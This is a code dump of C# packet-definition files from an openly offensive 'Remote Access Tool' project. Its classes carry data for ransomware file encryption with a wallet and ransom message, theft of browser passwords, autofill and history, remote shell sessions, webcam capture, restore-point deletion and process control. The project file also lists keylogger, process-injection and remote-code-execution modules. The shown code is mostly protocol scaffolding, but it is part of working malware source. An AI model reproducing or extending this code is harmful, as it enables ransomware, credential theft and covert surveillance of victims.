    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class ProcessKillerPacket : IPacket\n    {\n\n        //server\n        public ProcessKillerPacket(int processId, string processName, int rowIndex) : base()\n        {\n  \n            this.PacketType = PacketType.PM_KILL_PROCESS;    \n            \n            this.processId = processId;\n            this.processName = processName;\n            this.rowIndex = rowIndex;\n        }\n\n        //client\n        public ProcessKillerPacket(bool killed, int processId, string processName, int rowIndex, string baseIp, string HWID) : base() \n        {\n\n            this.PacketType = PacketType.PM_KILL_PROCESS;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;       \n            \n            this.killed = killed;\n            this.processId = processId;\n            this.processName = processName;\n            this.rowIndex = rowIndex;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public int rowIndex { get; set; }\n        public string processName { get; set; }\n        public int processId { get; set; }\n        public bool killed { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessManagerPacket.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class Proc\n    {\n        public byte[] processIcon { get; set; }\n        public int processId { get; set; }\n        public string processName { get; set; }\n        public string processWindowTitle { get; set; }\n        public string processWindowHandle { get; set; }\n        public string is64Bit { get; set; }\n    }\n\n    [Serializable]\n    public class ProcessManagerPacket : IPacket\n    {\n        public ProcessManagerPacket() : base() \n        {\n            this.PacketType = PacketType.PM_GET_PROCESSES;\n        }\n\n        public ProcessManagerPacket(List<Proc> processes, string baseIp, string HWID) : base()\n        {\n          \n            PacketType = PacketType.PM_GET_PROCESSES;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;  \n            \n            this.processes = processes;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public List<Proc> processes { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Process/ResumeProcessPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class ResumeProcessPacket : IPacket\n    {\n\n        //server\n        public ResumeProcessPacket(int processId, string processName, int rowIndex) : base()\n        {   \n            this.PacketType = PacketType.PM_RESUME_PROCESS; \n            \n            this.processId = processId;\n            this.processName = processName;\n            this.rowIndex = rowIndex;\n        }\n\n        //client\n        public ResumeProcessPacket(bool resumed, int processId, string processName, int rowIndex, string baseIp, string HWID) : base()\n        {\n            this.PacketType = PacketType.PM_RESUME_PROCESS;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;     \n            \n            this.resumed = resumed;\n            this.processId = processId;\n            this.processName = processName;\n            this.rowIndex = rowIndex;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public int rowIndex { get; set; }\n        public string processName { get; set; }\n        public int processId { get; set; }\n        public bool resumed { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Process/SuspendProcessPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class SuspendProcessPacket : IPacket\n    {\n\n        //server\n        public SuspendProcessPacket(int processId, string processName, int rowIndex) : base()\n        {   \n            this.PacketType = PacketType.PM_SUSPEND_PROCESS;   \n            \n            this.processId = processId;\n            this.processName = processName;\n            this.rowIndex = rowIndex;\n        }\n\n        //client\n        public SuspendProcessPacket(bool suspended, int processId, string processName, int rowIndex, string baseIp, string HWID) : base()\n        {     \n            this.PacketType = PacketType.PM_SUSPEND_PROCESS;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;   \n            \n            this.suspended = suspended;\n            this.processId = processId;\n            this.processName = processName;\n            this.rowIndex = rowIndex;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public int rowIndex { get; set; }\n        public string processName { get; set; }\n        public int processId { get; set; }\n        public bool suspended { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareConfirmationPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class RansomwareConfirmationPacket : IPacket\n    {\n        public RansomwareConfirmationPacket(PacketType packetType, string results, string baseIp, string HWID) : base()\n        {\n            this.PacketType = packetType;\n            this.results = results;\n\n            this.BaseIp = baseIp;\n            this.HWID = HWID;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public string results { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareDecryptionPacket.cs",
    "content": "﻿using PacketLib.Utils;\nusing System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class RansomwareDecryptionPacket : IPacket\n    {\n \n        public RansomwareDecryptionPacket(string privateRSAServerKey) : base()\n        {\n            this.PacketType = PacketType.RANSOMWARE_DECRYPTION;\n            this.privateRSAServerKey = privateRSAServerKey;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public Algorithm algorithm { get; set; }\n        public bool isBlockCipher { get; set; }\n        public string privateRSAServerKey { get; set; }\n        public int minKeySize { get; set; }\n        public int maxKeySize { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareEncryptionPacket.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class RansomwareEncryptionPacket : IPacket\n    {\n        public RansomwareEncryptionPacket(PacketType packetType) : base()\n        {\n            this.PacketType = packetType;\n        }\n\n        public RansomwareEncryptionPacket(string publicRSAServerKey, List<string> paths, bool subDirectories, bool checkExtensions) : base()\n        {\n            this.PacketType = PacketType.RANSOMWARE_ENCRYPTION;\n            this.publicRSAServerKey = publicRSAServerKey;\n            this.paths = paths;\n            this.subDirectories = subDirectories;\n            this.checkExtensions = checkExtensions;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public string publicRSAServerKey { get; set; }\n        public List<string> paths { get; set; }\n        public List<string> extensions { get; set; }\n        public bool subDirectories { get; set; }\n        public bool checkExtensions { get; set; }\n        public string wallet { get; set; }\n        public string msg { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Recovery/AutofillPacket.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class AutofillPacket : IPacket\n    {\n        //server\n        public AutofillPacket() : base()\n        {\n            PacketType = PacketType.RECOVERY_AUTOFILL;\n        }\n\n        //client\n        public AutofillPacket(List<object[]> autofill, string baseIp, string HWID) : base()\n        {\n\n            PacketType = PacketType.RECOVERY_AUTOFILL;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;\n\n            this.autofillList = autofill;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public List<object[]> autofillList { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Recovery/HistoryPacket.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class HistoryPacket : IPacket\n    {\n        //server\n        public HistoryPacket() : base()\n        {\n            PacketType = PacketType.RECOVERY_HISTORY;\n        }\n\n        //client\n        public HistoryPacket(List<object[]> history, string baseIp, string HWID) : base()\n        {\n\n            PacketType = PacketType.RECOVERY_HISTORY;\n            this.BaseIp = baseIp;\n            this.HWID = HWID; \n            \n            this.historyList = history;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public List<object[]> historyList { get; set; }\n    }\n}\n\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Recovery/KeywordsPacket.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class KeywordsPacket : IPacket\n    {\n        //server\n        public KeywordsPacket() : base()\n        {\n            PacketType = PacketType.RECOVERY_KEYWORDS;\n        }\n\n        //client\n        public KeywordsPacket(List<object[]> keywords, string baseIp, string HWID) : base()\n        {\n            PacketType = PacketType.RECOVERY_KEYWORDS;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;\n\n            this.keywordsList = keywords;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public List<object[]> keywordsList { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Recovery/PasswordsPacket.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class PasswordsPacket : IPacket\n    {\n        //server\n        public PasswordsPacket() : base()\n        {\n            PacketType = PacketType.RECOVERY_PASSWORDS;\n        }\n\n        //client\n        public PasswordsPacket(List<object[]> passwords, string baseIp, string HWID) : base()\n        {\n       \n            PacketType = PacketType.RECOVERY_PASSWORDS;\n            this.BaseIp = baseIp;\n            this.HWID = HWID; \n            \n            this.passwordsList = passwords;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public List<object[]> passwordsList { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Recovery/RecoveryPacket.cs",
    "content": "﻿using System;\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class RecoveryPacket : IPacket\n    {\n        public RecoveryPacket() : base()\n        {\n            this.PacketType = PacketType.RECOVERY_ALL;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Shell/NewCommandShellSessionPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class NewCommandShellSessionPacket : IPacket\n    {\n        public NewCommandShellSessionPacket(string shellCommand) : base()\n        {\n            this.PacketType = PacketType.SHELL_COMMAND;\n            this.shellCommand = shellCommand;   \n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public string shellCommand { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Shell/StartShellSessionPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class StartShellSessionPacket : IPacket\n    {\n        public StartShellSessionPacket(bool isPWS) : base()\n        {\n            this.PacketType = PacketType.SHELL_START;\n            this.isPWS = isPWS;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n        public bool isPWS { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Shell/StdOutShellSessionPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class StdOutShellSessionPacket : IPacket\n    {\n        public StdOutShellSessionPacket(string shellStdOut) : base()\n        {\n            this.PacketType = PacketType.SHELL_COMMAND;\n            this.shellStdOut = shellStdOut;   \n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public string shellStdOut { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/Shell/StopShellSessionPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class StopShellSessionPacket : IPacket\n    {\n        public StopShellSessionPacket() : base()\n        {\n            this.PacketType = PacketType.SHELL_STOP;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/UAC/AskAdminRightsPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class AskAdminRightsPacket : IPacket\n    {\n        public AskAdminRightsPacket() : base()\n        {\n            this.PacketType = PacketType.MISC_ASK_ADMIN_RIGHTS;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/UAC/DeleteRestorePointPacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class DeleteRestorePointPacket : IPacket\n    {\n        //server\n        public DeleteRestorePointPacket(int index) : base()\n        {\n            PacketType = PacketType.UAC_DELETE_RESTORE_POINT;\n\n            this.index = index;\n        }\n\n        //client\n        public DeleteRestorePointPacket(int index, bool deleted, string baseIp, string HWID) : base()\n        {\n            PacketType = PacketType.UAC_DELETE_RESTORE_POINT;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;\n\n            this.index = index;\n            this.deleted = deleted;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public int index { get; set; }\n        public bool deleted { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/UAC/RestorePointPacket.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class RestorePoint \n    {\n        public uint index { get; set; }\n        public string creationTime { get; set; }\n        public string description { get; set; }\n        public RestorePointType type { get; set; }\n        public enum RestorePointType\n        {\n            APPLICATION_INSTALL = 0,\n            APPLICATION_UNINSTALL = 1,\n            CANCELLED_OPERATION = 13,\n            DEVICE_DRIVER_INSTALL = 10,\n            MODIFY_SETTINGS = 12,\n            MANUALLY_CREATED = 16\n        }\n    }\n\n    [Serializable]\n    public class RestorePointPacket : IPacket\n    {\n        public RestorePointPacket() : base()\n        {\n            this.PacketType = PacketType.UAC_GET_RESTORE_POINT;\n        }\n\n        public RestorePointPacket(List<RestorePoint> restorePoints, string baseIp, string HWID) : base()\n        {\n\n            PacketType = PacketType.UAC_GET_RESTORE_POINT;\n            this.BaseIp = baseIp;\n            this.HWID = HWID;\n\n            this.restorePoints = restorePoints;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public List<RestorePoint> restorePoints { get; set; }\n\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/WebCam/RemoteCameraCapturePacket.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class RemoteCameraCapturePacket : IPacket\n    {\n        public RemoteCameraCapturePacket(PacketType packetType) : base()\n        {\n            this.PacketType = packetType;\n        }\n\n        public RemoteCameraCapturePacket(byte[] cameraCapture) : base()\n        {\n            this.PacketType = PacketType.RC_CAPTURE_ON;\n\n            this.cameraCapture = cameraCapture;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public int quality { get; set; }\n        public int index { get; set; }\n        public byte[] cameraCapture { get; set; }\n        public int timeMS { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Packet/WebCam/RemoteCameraPacket.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace PacketLib.Packet\n{\n    [Serializable]\n    public class RemoteCameraPacket : IPacket\n    {\n        public RemoteCameraPacket() : base()\n        {\n            this.PacketType = PacketType.RC_GET_CAM;\n        }\n\n        public RemoteCameraPacket(List<string> cameras, string baseIp, string HWID) : base()\n        {\n            this.PacketType = PacketType.RC_GET_CAM;          \n            this.BaseIp = baseIp;\n            this.HWID = HWID; \n            \n            this.cameras = cameras;\n        }\n\n        public string HWID { get; set; }\n        public string BaseIp { get; set; }\n        public byte[] Plugin { get; set; }\n        public PacketType PacketType { get; }\n        public PacketState PacketState { get; set; }\n        public string Status { get; set; }\n        public string DatePacketStatus { get; set; }\n        public int PacketSize { get; set; }\n\n        public List<string> cameras { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/PacketLib.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>PacketLib</RootNamespace>\n    <AssemblyName>PacketLib</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n    <TargetFrameworkProfile />\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>false</DebugSymbols>\n    <DebugType>none</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>bin\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n    <Prefer32Bit>false</Prefer32Bit>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>..\\..\\bin\\Release\\Stubs\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n    <Prefer32Bit>false</Prefer32Bit>\n    <DebugSymbols>false</DebugSymbols>\n    <AllowUnsafeBlocks>false</AllowUnsafeBlocks>\n    <GenerateSerializationAssemblies>Off</GenerateSerializationAssemblies>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"Microsoft.VisualBasic\" />\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.Drawing\" />\n    <Reference Include=\"System.Management\" />\n    <Reference Include=\"System.Windows.Forms\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"LoadingAPI.cs\" />\n    <Compile Include=\"Interface\\IPacket.cs\" />\n    <Compile Include=\"Packet\\Miscellaneous\\NetworkInformationPacket.cs\" />\n    <Compile Include=\"Packet\\Ransomware\\RansomwareConfirmationPacket.cs\" />\n    <Compile Include=\"Packet\\Shell\\StdOutShellSessionPacket.cs\" />\n    <Compile Include=\"Packet\\Shell\\NewCommandShellSessionPacket.cs\" />\n    <Compile Include=\"Packet\\Shell\\StopShellSessionPacket.cs\" />\n    <Compile Include=\"Packet\\Shell\\StartShellSessionPacket.cs\" />\n    <Compile Include=\"Packet\\UAC\\AskAdminRightsPacket.cs\" />\n    <Compile Include=\"Packet\\Recovery\\AutofillPacket.cs\" />\n    <Compile Include=\"Packet\\Client\\BaseIpPacket.cs\" />\n    <Compile Include=\"Packet\\UAC\\DeleteRestorePointPacket.cs\" />\n    <Compile Include=\"Packet\\Miscellaneous\\OpenUrlPacket.cs\" />\n    <Compile Include=\"Packet\\PacketState.cs\" />\n    <Compile Include=\"Packet\\Ransomware\\RansomwareDecryptionPacket.cs\" />\n    <Compile Include=\"Packet\\Recovery\\RecoveryPacket.cs\" />\n    <Compile Include=\"Packet\\Miscellaneous\\RemoteChatPacket.cs\" />\n    <Compile Include=\"Packet\\Ransomware\\RansomwareEncryptionPacket.cs\" />\n    <Compile Include=\"Packet\\Miscellaneous\\InformationPacket.cs\" />\n    <Compile Include=\"Packet\\Miscellaneous\\KeylogOfflinePacket.cs\" />\n    <Compile Include=\"Packet\\Recovery\\KeywordsPacket.cs\" />\n    <Compile Include=\"Packet\\Miscellaneous\\RemoteCodeExecution.cs\" />\n    <Compile Include=\"Packet\\Desktop\\RemoteKeyboardPacket.cs\" />\n    <Compile Include=\"Packet\\Desktop\\RemoteMousePacket.cs\" />\n    <Compile Include=\"Packet\\Audio\\RemoteAudioCapturePacket.cs\" />\n    <Compile Include=\"Packet\\Audio\\RemoteAudioPacket.cs\" />\n    <Compile Include=\"Packet\\Webcam\\RemoteCameraCapturePacket.cs\" />\n    <Compile Include=\"Packet\\File\\RenameFilePacket.cs\" />\n    <Compile Include=\"Packet\\UAC\\RestorePointPacket.cs\" />\n    <Compile Include=\"Packet\\Miscellaneous\\ScreenRotationPacket.cs\" />\n    <Compile Include=\"Packet\\File\\ShortCutFileManagersPacket.cs\" />\n    <Compile Include=\"Packet\\Client\\UninstallPacket.cs\" />\n    <Compile Include=\"Packet\\File\\UploadFilePacket.cs\" />\n    <Compile Include=\"Packet\\Miscellaneous\\WallPaperPacket.cs\" />\n    <Compile Include=\"Packet\\Client\\ClosePacket.cs\" />\n    <Compile Include=\"Packet\\Client\\ConnectedPacket.cs\" />\n    <Compile Include=\"Packet\\File\\DeleteFilePacket.cs\" />\n    <Compile Include=\"Packet\\File\\DiskPacket.cs\" />\n    <Compile Include=\"Packet\\File\\DownloadFilePacket.cs\" />\n    <Compile Include=\"Packet\\File\\FileManagerPacket.cs\" />\n    <Compile Include=\"Packet\\Recovery\\HistoryPacket.cs\" />\n    <Compile Include=\"Packet\\Miscellaneous\\KeylogPacket.cs\" />\n    <Compile Include=\"Packet\\Miscellaneous\\MemoryExecutionPacket.cs\" />\n    <Compile Include=\"Packet\\Miscellaneous\\MiscellaneousPacket.cs\" />\n    <Compile Include=\"Packet\\PacketType.cs\" />\n    <Compile Include=\"Packet\\Recovery\\PasswordsPacket.cs\" />\n    <Compile Include=\"Packet\\Miscellaneous\\PowerPacket.cs\" />\n    <Compile Include=\"Packet\\Process\\ProcessInjectionPacket.cs\" />\n    <Compile Include=\"Packet\\Process\\ProcessKillerPacket.cs\" />\n    <Compile Include=\"Packet\\Process\\ProcessManagerPacket.cs\" />\n    <Compile Include=\"Packet\\Webcam\\RemoteCameraPacket.cs\" />\n    <Compile Include=\"Packet\\Desktop\\RemoteViewerPacket.cs\" />\n    <Compile Include=\"Packet\\Process\\ResumeProcessPacket.cs\" />\n    <Compile Include=\"Packet\\File\\StartFilePacket.cs\" />\n    <Compile Include=\"Packet\\Process\\SuspendProcessPacket.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n    <Compile Include=\"Utils\\Algorithm.cs\" />\n    <Compile Include=\"Utils\\Compressor.cs\" />\n    <Compile Include=\"Utils\\Encryption.cs\" />\n    <Compile Include=\"Utils\\Host.cs\" />\n    <Compile Include=\"Utils\\HwidGen.cs\" />\n    <Compile Include=\"Utils\\ImageProcessing.cs\" />\n    <Compile Include=\"Utils\\Miscellaneous.cs\" />\n    <Compile Include=\"Utils\\Native.cs\" />\n    <Compile Include=\"Utils\\Serializer.cs\" />\n  </ItemGroup>\n  <ItemGroup />\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n</Project>"
  },
  {
    "path": "Remote Access Tool/Utils/PacketLib/Properties/AssemblyInfo.cs",
